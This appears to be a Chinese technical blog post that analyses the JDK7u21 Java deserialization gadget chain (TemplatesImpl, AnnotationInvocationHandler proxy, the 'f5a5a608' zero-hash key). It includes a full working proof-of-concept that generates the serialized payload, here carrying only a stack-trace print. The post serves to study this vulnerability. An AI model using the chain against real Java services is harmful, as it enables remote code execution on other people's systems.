JDK7u21反序列化詳解

bitterz發表於2021-09-13

前言

聽說jdk7u21的反序列化涉及的知識量很多，很難啃，具體來看看咋回事

環境

jdk7u21

IDEA 2021.1.2

javassist

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.21.0-GA</version>
</dependency>

使用的程式碼如下，復現時推薦手寫一遍

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
import java.lang.reflect.Proxy;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;

public class Main{
    public static void main(String[] args) throws Exception {
        // 生成惡意類的位元組碼
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        byte[] evilClass = payload.toBytecode();

        // 建立templates物件，並反射修改其中的屬性
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, new byte[][]{evilClass});  // 注意這裡是byte二維陣列
        // 反射修改值
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "test");
        // 反射修改值
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        // 修改值
        Field auxClasses = templates.getClass().getDeclaredField("_auxClasses");
        auxClasses.setAccessible(true);
        auxClasses.set(templates, null);

        Field aClass = templates.getClass().getDeclaredField("_class");
        aClass.setAccessible(true);
        aClass.set(templates, null);
        
        // key為固定值，後面會解釋
        String key = "f5a5a608";
        HashMap map = new HashMap();
        map.put(key, "xxx");

        // 獲取構造器，並使用動態代理，建立proxy物件
        Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Templates.class, map);// AnnotationInvocationHandler.memberValues -> hashMap  type->Templates.Class
        
        Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), templates.getClass().getInterfaces(), invocationHandler);

        LinkedHashSet linkedHashSet = new LinkedHashSet(); // 序列化物件
        linkedHashSet.add(templates);
        linkedHashSet.add(proxy);
        map.put(key, templates);  // 修改key對應的value，避免本地觸發payload

        // 模擬序列化和反向序列化
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(linkedHashSet);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
	}
}

倒序分析

執行上面的java程式碼，由於給定執行的程式碼為new java.io.IOException().printStackTrace();，所以會報錯顯示如下資訊：

at EvilClass.<clinit>(EvilClass.java)
...
at java.lang.reflect.Constructor.newInstance(Constructor.java:525)
at java.lang.Class.newInstance0(Class.java:374)
at java.lang.Class.newInstance(Class.java:327)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:380)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy0.equals(Unknown Source)
at java.util.HashMap.put(HashMap.java:475)
at java.util.HashSet.readObject(HashSet.java:309)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
at com.bitterz.stream.CommonCollectionsLearn.main(CommonCollectionsLearn.java:130)

這裡省略的部分都是反射或者native方法，不是呼叫鏈的關鍵資訊。從上往下倒退可以看出，EvilClass在使用構造方法時觸發惡意程式碼，構造方法是從TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->Class.newInstance()觸發的，那我們先看看TemplatesImpl這個類的呼叫過程

TemplatesImpl

TemplatesImpl#getTransletInstance

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (){}
}

看到前面兩個filed頓感熟悉呀，我們的程式碼裡面正好把Templates物件的_name和_class設定"test"和null了，所以會執行TemplatesImpl#defineTransletClasses方法，跟進一下這個方法

TemplatesImpl#defineTransletClasses

private void defineTransletClasses() throws TransformerConfigurationException {
    if (_bytecodes == null) {//throw exception;}

    TransletClassLoader loader = (TransletClassLoader) ..; // 獲取類載入器

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new Hashtable();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (){}
}

繼續省略了報錯、catch等不關鍵程式碼。這裡有兩個關鍵點：

由於_bytecodes被我們為new byte[][]{evilClass}，也就是存放了惡意位元組碼，所以進入try程式碼塊中，這裡最關鍵的程式碼是_class[i] = loader.defineClass(_bytecodes[i]);,也就是遍歷_bytecodes陣列中的所有位元組碼，然後用defineClass方法將其載入到jvm中，並返回一個類物件到_class陣列中。
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}，由於我們使用動態代理建立類時，呼叫的是無參構造方法，所以ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"，另外我們給進去的惡意類的父類也被設定為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet，所以superClass.getName().equals(ABSTRACT_TRANSLET)為true，執行程式碼_transletIndex = i;，此時i=0。

defineTransletClasses方法執行完後，返回到TemplatesImpl#getTransletInstance的中，執行 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();這裡由於_class中只有一個惡意類物件，而且_transletIndex剛好為0，所以觸發惡意類的構造方法。

TemplatesImpl類中呼叫鏈也就分析完了，那麼來看看newTransformer方法為何會被呼叫

AnnotationInvocationHandler

這一段的呼叫鏈是

at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy0.equals(Unknown Source)
java.util.HashMap.put(HashMap.java:475)

先來看看呼叫鏈是如何從HashMap.put到AnnotationInvocationHandler.invoke的，HashMap#put方法如下

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

呼叫鏈中com.sun.proxy.$Proxy0.equals實際上指的是動態代理建立的物件呼叫了其equals方法，所以我們可以定位到key.equals(k)，而在衣服語句的第二條中執行了k=e.key，而e=table[i]，這裡實際上涉及到LinkedHashSet的鍵值儲存方式問題，這裡先直接給結論，k就是惡意類物件templates，後面再分析為什麼。

由於動態代理建立的類呼叫了其equals方法，根據動態代理的特性，會呼叫到代理類AnnotationInvocationHandler#invoke方法，那麼來具體看看這個方法

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;

        if (var4.equals("toString")) {
            return this.toStringImpl();
        } else if (var4.equals("hashCode")) {
            return this.hashCodeImpl();
        } else if (var4.equals("annotationType")) {
            return this.type;
        } else {
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }

                return var6;
            }
        }
    }
}

在實際的呼叫中，傳入的引數：var1=proxy, var2=equals, var3=templates惡意類物件，equals方法需要的引數型別為Object，因此第一個if條件為true，進入AnnotationInvocationHandler#equalsImpl方法，跟進一下這個方法

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

此時，傳入的引數var1=templates惡意物件，這個方法中最重要的程式碼塊是for迴圈，但是要先看看for迴圈前面的兩行程式碼，跟進一下AnnotationInvocationHandler#getMemberMethods方法

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}  // 我們的程式碼中反射呼叫的構造方法

這裡需要回看一下我們的程式碼反射建立AnnotationInvocationHandler物件的部分以及AnnotationInvocationHandler的構造方法，因為我們傳入的兩個引數是Templates.class和HashMap物件，所以AnnotationInvocationHandler#getMemberMethods獲取的就是Templates的所有方法物件。然後我們回到AnnotationInvocationHandler#equalsImpl方法的for迴圈部分，這裡有兩個關鍵點：

var9，呼叫AnnotationInvocationHandler#isOneOfUs(Object)，程式碼比較簡單，就不跟進了，返回值為null
var5.invoke(var1)，由於var9為null，所以for迴圈也就意味著遍歷呼叫Templates所有方法，而且呼叫物件是傳入的var1，也就是我們構造的惡意物件templates

templates的各種引數被精心設計過，所以會從newTransformer呼叫到惡意類的構造方法，從而觸發其中的惡意程式碼。到這裡，我們梳理通了AnnotationInvocationHandler中的呼叫鏈，但有個問題沒有解決，那就是前面提到的HashMap#put方法那一個關鍵的if語句

if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

HashMap

現在來看看HashMap#put前面的呼叫鏈

at java.util.HashMap.put(HashMap.java:475)
at java.util.HashSet.readObject(HashSet.java:309)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)

省略ObjectInputStream#readObject之後的不重要的呼叫棧，由於ObjectInputStream#readObject反序列化時，會自動呼叫被反序列化類的readObject方法，也就是LinkedHashSet，我們的程式碼中序列化的類，而LinkedHashSet沒有實現readObject方法，而是繼承自HashSet，所以呼叫了HashSet#readObject跟進一下該方法

HashSet#readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

HashSet#add

Object PRESENT = new Object();
public boolean add(E e) {
	return map.put(e, PRESENT)==null;
}

從readObject的for迴圈處和add方法可見，HashSet管理輸入的鍵值的方法是，將輸入物件作為HashMap的key，以保證其唯一性，可以add重複的值，列印HashSet#size檢驗。

繼續說HashSet#readObject方法，先建立一個map後，用s.readInt()獲取序列化時hashSet的size，然後進入for迴圈，依次讀取序列化時HashSet中的每個物件，並作為map的key，這時就會呼叫到HashMap#put方法

HashMap#put

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

由於真正觸發惡意程式碼的是HashMap.put(proxy)時觸發，此時templates已經反序列化好了，所以我們從這個基礎角度去看程式碼，key=proxy，value=object

呼叫hash(key)獲取hash值，跟進一下這個方法

HashMap#hash

final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

此時k=proxy，if判斷為空，所以h=0，執行到k.hashCode()，由於k=proxy，所以會呼叫AnnotationInvocationHandler.invoke方法

這裡就不重複貼上程式碼了，通過一些列if判斷後，會進入AnnotationInvocationHandler#hashCodeImpl方法，跟進一下該方法

AnnotationInvocationHandler#hashCodeImpl

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

此時需要注意的是，this.memberValues是我們的程式碼中建立AnnotationInvocationHandler物件時給進去的HashMap，這個HashMap只有一個鍵值對("f5a5a608"->templates)，在這個基礎下，繼續分析這裡的程式碼，for迴圈先得到var3=("f5a5a608"->templates)，然後執行var1+=......

計算第一部分((String)var3.getKey()).hashCode()，var3.getKey()="f5a5a608"

很巧的是，"f5a5a608".hashCode()恰好為0，找出這個呼叫鏈的大神也太猛了- _ -!，繼續看memberValueHashCode(var3.getValue())，var3.getValue()=templates，然後跟進一下AnnotationInvocationHandler#memberValueHashCode(templates)

AnnotationInvocationHandler#memberValueHashCode

private static int memberValueHashCode(Object var0) {
    Class var1 = var0.getClass();
    if (!var1.isArray()) {
        return var0.hashCode();
    } else if (var1 == byte[].class) {
        return Arrays.hashCode((byte[])((byte[])var0));
    } else if (var1 == char[].class) {
        return Arrays.hashCode((char[])((char[])var0));
    } else if (var1 == double[].class) {
        return Arrays.hashCode((double[])((double[])var0));
    } else if (var1 == float[].class) {
        return Arrays.hashCode((float[])((float[])var0));
    } else if (var1 == int[].class) {
        return Arrays.hashCode((int[])((int[])var0));
    } else if (var1 == long[].class) {
        return Arrays.hashCode((long[])((long[])var0));
    } else if (var1 == short[].class) {
        return Arrays.hashCode((short[])((short[])var0));
    } else {
        return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
    }
}

此時的輸入var0=templates，直接進入第一個if語句程式碼塊，返回templates.hashCode()，假定其為X，然後返回到AnnotationInvocationHandler#hashCodeImpl，var1就變成了 0 + 127 * 0 ^ X，（^表示異或，0^某數字=某數字）根據java的運算子順序127 * 0 = 0，再0 ^ X = X，所以var1 = X，然後從AnnotationInvocationHandler#hashCodeImpl返回到HashMap#hash，其中的變數h經過後面部分的處理後假定其值為Y，然後程式碼繼續向下執行

HashMap#put

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

此時變數hash=Y，key=proxy，value=object。執行i=indexFor(hash, table.length)，由於前面只反序列化了一個物件也就是templates，所以i=0，進入for迴圈檢查輸入的key是否已經存在了。首先e = <templates, object>，而e.hash是多少呢？

這時我們需要將put方法的輸入帶入key=templates, value=object來思考，hash=HashMap.hash(templates)，在HashMap#hash方法中呼叫templates.hashCode()獲得值X！！，然後繼續後面的處理，這不就直接獲得一個值Y嗎？！，hash=Y，然後往下執行，進入addEntry()方法，

void addEntry(int hash, K key, V value, int bucketIndex) {
        if ((size >= threshold) && (null != table[bucketIndex])) {
            resize(2 * table.length);
            hash = (null != key) ? hash(key) : 0;
            bucketIndex = indexFor(hash, table.length);
        }

        createEntry(hash, key, value, bucketIndex);  // 進入這裡 hash=Y
    }

void createEntry(int hash, K key, V value, int bucketIndex) {
        Entry<K,V> e = table[bucketIndex];
        table[bucketIndex] = new Entry<>(hash, key, value, e);  // 新建一個Entry，跟進其構造方法 hash=Y
        size++;
    }

Entry(int h, K k, V v, Entry<K,V> n) {  // 構造方法
            value = v;
            next = n;
            key = k;
            hash = h;  // hash=h=Y
        }

看了這個呼叫鏈就可以知道，e = Entry<templates, object> 這個物件的e.hash就等於Y！，回到HashMap#put方法

此時if條件一步一步滿足，這裡其實涉及到java中if語句的短路特性，在&&判斷時，如果第一個條件為false，則直接判定為false，所以e.hash==hash必須為true才會執行到key.equals(k)，不得不佩服這個利用鏈的構造者，java功底太深了。

同時到這裡也就很容易理解，為什麼我們的程式碼要在linkeHashSet.add之後才對AnnotationInvocationHandler.menberValues中的鍵值對進行修改為<"f5a5a6018", templates>，因為提前就寫好的話，在linkeHashSet.add(proxy)的時候就會本地觸發惡意程式碼

總結

到這裡整個呼叫鏈的分析就完成了

首先是LinkedHashSet.readObject實際呼叫HashSet.readObject，任何將templates反序列化出來，這裡又涉及到HashMap來管理HashSet的物件，以及HashMap將key->value對用內部類Entry來管理，並且這個Entry.hash=HashMap.hash(key)。
而後，在HashSet.readObject中反序列化proxy物件，該物件是動態代理建立的，所以其實先會把AnnotationInvocationHandler反序列化出來，並且其中的memberValues=HashMap<"f5a5a6018"->templates>只有這一個鍵值對。而後進入HashMap.put方法中，在HashMap.hash(proxy)時，觸發代理類的invoke方法，進入AnnotationInvocationHandler#hashCodeImpl方法，而此時又由於AnnotationInvocationHandler.memberValues中的key，也就是"f5a5a6018"的hash值恰好為0，導致AnnotationInvocationHandler#hashCodeImpl的返回值為templates物件的hash值，而後返回到HashMap.hash(proxy)時，其返回值與HashMap.hash(templates)相同，也就導致HashMap.put方法中判斷key是否重複時，繞過短路特性，執行到後面的key.equals(k)，也就是proxy.equals(templates)方法
此後由於動態代理的特性，進入AnnotationInvocationHandler.invoke方法，再進入equalsImpl方法，並在其中呼叫templates的所有方法，從而觸發到TemplatesImpl的惡意呼叫鏈，將惡意位元組碼通過defineClass載入到jvm中，並呼叫其構造方法，從而觸發惡意程式碼，實現RCE。

這裡還有一個小點需要補充，網上說TemplatesImpl呼叫鏈都是getOutputProperties開始的

at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:380)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:431)
...
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy0.equals(Unknown Source)

但實際上，註釋掉_tfactory和_auxClasses反射修改值的程式碼才會從getOutputProperties觸發，如果不註釋，則直接從newTransformer觸發，並且這兩個field對呼叫鏈不產生影響。

Django序列化元件Serializers詳解
2020-07-26
Django元件
原碼, 反碼, 補碼詳解
2018-04-03
Serializable詳解（1）：程式碼驗證Java序列化與反序列化
2020-03-11
Java
詳解電子表格中的json資料：序列化與反序列化
2021-11-16
JSON
SpringBoot程式碼混淆與反混淆加密工具詳解
2023-12-20
Spring Boot加密
Java單連結串列反轉圖文詳解
2021-04-02
Java
JDK7u21反序列鏈學習
2022-04-11
JDK
03-序列化詳細
2024-04-13
詳解 LeetCode_007_整數反轉(Java 實現)
2020-09-10
LeetCodeJava
二進位制原碼、反碼、補碼詳解
2019-03-22
RMI 反序列化詳細分析
2024-07-29
SpringBoot 預設json解析器詳解和欄位序列化自定義
2021-08-04
Spring BootJSON
學習筆記詳解一種高效位反轉演算法
2020-10-01
筆記演算法
Java 反彙編、反編譯、volitale解讀
2018-08-14
Java編譯
Jackson 庫中@JsonProperty和@JsonAlias註解實現序列化反序列化
2024-05-20
JSON
Android序列化：Google出品的序列化神器Protocol Buffer不瞭解一下？
2019-03-04
AndroidGoProtocol
一文帶你全面瞭解java物件的序列化和反序列化
2021-05-10
Java物件
如何反轉連結串列？超詳細圖解，看這一篇就夠了！
2021-11-06
圖解
物件序列化（序列化）
2019-02-16
物件
Java序列化、反序列化、反序列化漏洞
2024-09-25
Java
前端解讀控制反轉(IOC)
2018-10-24
前端
SAP反記賬功能祥解
2020-01-09
.NETCore中實現ObjectId反解
2020-08-03
NetCoreObject
http協議/cookie詳解/session詳解
2018-05-04
HTTP協議CookieSession
序列化與反序列化
2024-05-21
Java註解最全詳解(超級詳細)
2022-08-16
Java
Java註解詳解
2019-02-26
Java
Lombok 註解詳解
2020-02-11
Lombok
@FeignClient註解詳解
2020-10-11
client
Java 註解詳解
2020-11-26
Java
序列化與反序列化（GO）
2024-05-28
Go
ECharts 詳解
2018-10-24
Echarts
Dialogment詳解
2019-03-26
hibernate詳解
2019-01-08
詳解bind
2018-11-22
詳解GOPATH
2018-11-16
Go
nginx 詳解
2018-12-12
Nginx
HTTP 詳解
2018-12-05
HTTP

JDK7u21反序列化詳解

前言

環境

倒序分析

TemplatesImpl

AnnotationInvocationHandler

HashMap

總結

相關文章